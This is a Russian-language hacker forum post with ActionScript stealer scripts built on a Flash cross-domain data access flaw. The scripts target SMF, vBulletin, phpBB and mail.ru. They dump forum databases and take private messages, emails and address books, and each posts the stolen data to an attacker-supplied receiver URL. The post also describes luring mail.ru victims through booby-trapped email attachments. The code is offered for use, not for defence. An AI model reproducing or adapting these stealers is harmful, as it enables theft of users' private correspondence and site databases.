|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
SMF
При любом действии в панели администратора проверяется значение Referer'a. В последней версии Flash Player значение данного заголовка изменить нельзя: браузер посылает Referer страницы с Flash клипом. Но все же атаку можно осуществить, если жертва использует Mozilla Firefox, т. к. в данном браузере Flash Player не посылает заголовка Referer при GET запросах (в отличие от IE и Opera).
Код для кражи базы данных (работает только в Mozilla Firefox)
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 7+
/*
Simple Machines Forum DB Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals database (works only in Mozilla Firefox)
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
// Getting session verify
serverRequest(
forumUrl + '/index.php',
'action=admin',
'GET',
onGetSessVerify);
}
function onGetSessVerify(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Looking for 'sesc' (session verify)
var sessVerify:String = loadedData.substr(loadedData.indexOf('sesc=') + 5, 32);
// Dumping DB
serverRequest(
forumUrl + '/index.php',
'data=on&action=dumpdb&sesc=' + sessVerify,
'GET',
onDumpTry);
}
function onDumpTry(loadedData:String):Void {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape('<pre>' + loadedData + '</pre>'),
'POST');
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Код для кражи всех Inbox/Sent приватных сообщений пользователя [AS1/2]
Параметры:
· policyFileUrl
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/*
Simple Machine Forum PM Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals inbox and sent PMs
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl && _level0._level0.policyFileUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
var messagesContent:Array = new Array();
var allPmLinks:Array = new Array();
var tmpPmLinks:Object = new Object();
var foldersDone:Number = 0;
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
// Array of forum's folders links
var folders:Array = new Array(
'/index.php?action=pm;f=inbox;sort=date;start=0',
'/index.php?action=pm;f=outbox;sort=date;start=0');
// Getting lists of messages in some folders (folders)
for(var i in folders) {
serverRequest(
forumUrl + folders[i],
'',
'GET',
onGetMessageList);
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for PM links
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var pmLinks:Object = ExternalInterface.call(
'function(data) { return data.match(/(index\\.php\\?action=pm;f=[a-z]+;sort=date;start=\\d+)/igm); }',
loadedData);
// Deleting similar links
for(var i in pmLinks) {
tmpPmLinks[pmLinks[i]] = null; }
foldersDone++;
onGetMessageContent(loadedData);
if(foldersDone == folders.length) {
// Concatenation (Object) tmpPmLinks to (Array) links_array
for(var i in tmpPmLinks) {
allPmLinks.push(i); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():Void {
if(allPmLinks.length) {
if(allPmLinks.length < messagesUntilDump) {
messagesUntilDump = allPmLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
forumUrl + '/' + allPmLinks.shift(),
'',
'GET',
onGetMessageContent);
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape(messagesContent.join('<br>')),
'POST');
messagesContent = new Array();
sendGetLinkRequsts();
}
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
vBulletin
В данном форуме проверяется значение Referer'a при POST запросах, поэтому сделать что-либо в админ панели не удастся.
Украсть приватные сообщения в данном форуме очень просто: разработчики предусмотрели возможность скачать все свои PM, этим и воспользуемся.
Код для кражи всех приватных сообщений
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 7+
/*
vBulletin PM Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all PMs (as text)
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
var loader:LoadVars = new LoadVars();
loader.onData = function(loadedData:String) {
// Sending received data to dataReceiverUrl
var sender:LoadVars = new LoadVars();
sender.data = '<pre>' + loadedData + '</pre>';
sender.sendAndLoad(_level0.dataReceiverUrl, new LoadVars(), 'POST');
}
// Downloading all PMs
loader.load(forumUrl + '/private.php?do=downloadpm&dowhat=txt');
}
// EOF
phpBB
Данный форум уязвим при наличии attach (download) мода. Проверка Referer отсутствует, поэтому возможны любые действия. Ниже приведен код для кражи базы данных форума.
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 8+
· Javascript
/*
phpBB DB Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals database
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
import flash.external.ExternalInterface;
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
var adminPath:String;
var sid:String;
// Getting session verify
serverRequest(
forumUrl + '/index.php',
'',
'GET',
onGetSid);
}
function onGetSid(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for sid and admin panel path
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var matches:Object = ExternalInterface.call(
'function(data) { return data.match(/href=\\"([a-z0-9_-]+)\\/index\\.php\\?sid=([a-z0-9]+)\\">Go to Administration Panel/i); }',
loadedData);
adminPath = matches[1];
sid = matches[2];
if(!sid) {
// No sid found
} else {
// Dumping DB
serverRequest(
forumUrl + '/' + adminPath + '/admin_db_utilities.php',
'perform=backup&additional_tables=&backup_type=ful l&drop=1&backupstart=1&gzipcompress=0&startdownloa d=1&sid=' + sid,
'GET',
onBackupTry);
}
}
function onBackupTry(loadedData):Void {
// Sending received loadedData to _level0.dataReceiverUrl
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape('<a href="' + forumUrl + '/' + adminPath + '/index.php?sid='
+ sid + '"><h4>Try to enter in admin panel</h4></a>'
+ '<pre>' + loadedData + '</pre>'),
'POST');
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Почтовые сервисы
Для почтовых сервисов схема проведения CSREF немного сложнее, чем для форумов, выглядит она следующим образом: жертве посылается письмо с прикрепленным файлом, содержащим код сертификата (либо отправляется HTML письмо, содержащее данный код, если он не фильтруется) и ссылка на сайт. Когда жертва переходит по ссылке, передается Referer, содержащий адрес письма. Flash клип, исходя из этого адреса, формирует адрес прикрепленного к письму файла. Жертва загружает клип, который на основе переданного адреса (иногда можно передавать адрес самого письма, содержащего код сертификата) расширяет Sandbox и ворует все письма. Для получения referrer от жертвы можно использовать не только ссылку.
Схема. CDDAF на почтовых сервисах:
mail.ru
Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS1/2]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/*
mail.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, sent, draft, trash + addressbook
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
System.useCodepage = true;
var messagesContent:Array = new Array();
var allMessageLinks:Array = new Array('addressbook');
var tmpMessageLinks:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = ExternalInterface.call(
'function(data) { return data.match(/readmsg\\?id=(\\d+)/i)[1]; }',
referrer).toString();
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');
var folders:Array = new Array(
'/msglist?folder=0', // Inbox
'/msglist?folder=500000', // Sent
'/msglist?folder=500001', // Draft
'/msglist?folder=500002'); // Trash
// Getting lists of messages in folders
for(var i in folders) {
serverRequest(
baseUrl + folders[i],
onGetMessageList,
'GET');
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var links:Object = ExternalInterface.call(
'function(data) { return data.match(/(readmsg\\?id=\\d+)/ig); }',
loadedData.split("\\\"").join(''));
// Deleting similar links
for(var i in links) {
tmpMessageLinks[links[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) {
// Concatenation (Object) tmpMessageLinks to (Array) links_array
for(var i in tmpMessageLinks) {
allMessageLinks.push(i); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():Void {
if(allMessageLinks.length) {
if(allMessageLinks.length < messagesUntilDump) {
messagesUntilDump = allMessageLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
baseUrl + '/' + allMessageLinks.shift(),
onGetMessageContent,
'GET');
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
messagesContent = new Array();
sendGetLinkRequsts()
}
}
function serverRequest(
requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
if(vars) { sender.decode(vars); }
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript (от данного требования можно избавиться, если передавать Referer параметром посредством FlashVars)
/*
mail.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, sent, draft, trash + addressbook
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) {
import flash.external.ExternalInterface;
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array('addressbook');
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/readmsg\?id=(\d+)/i)[1];
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');
var folders:Array = new Array(
// Folders
'/msglist?folder=0', // Inbox
'/msglist?folder=500000', // Sent
'/msglist?folder=500001', // Draft
'/msglist?folder=500002'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
loader.setRequestUrl(baseUrl + folder);
loader.loadUrl();
}
}
function onGetMessageList(loadedData:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(readmsg\?id=\d+)/ig);
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift());
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
__________________
...
|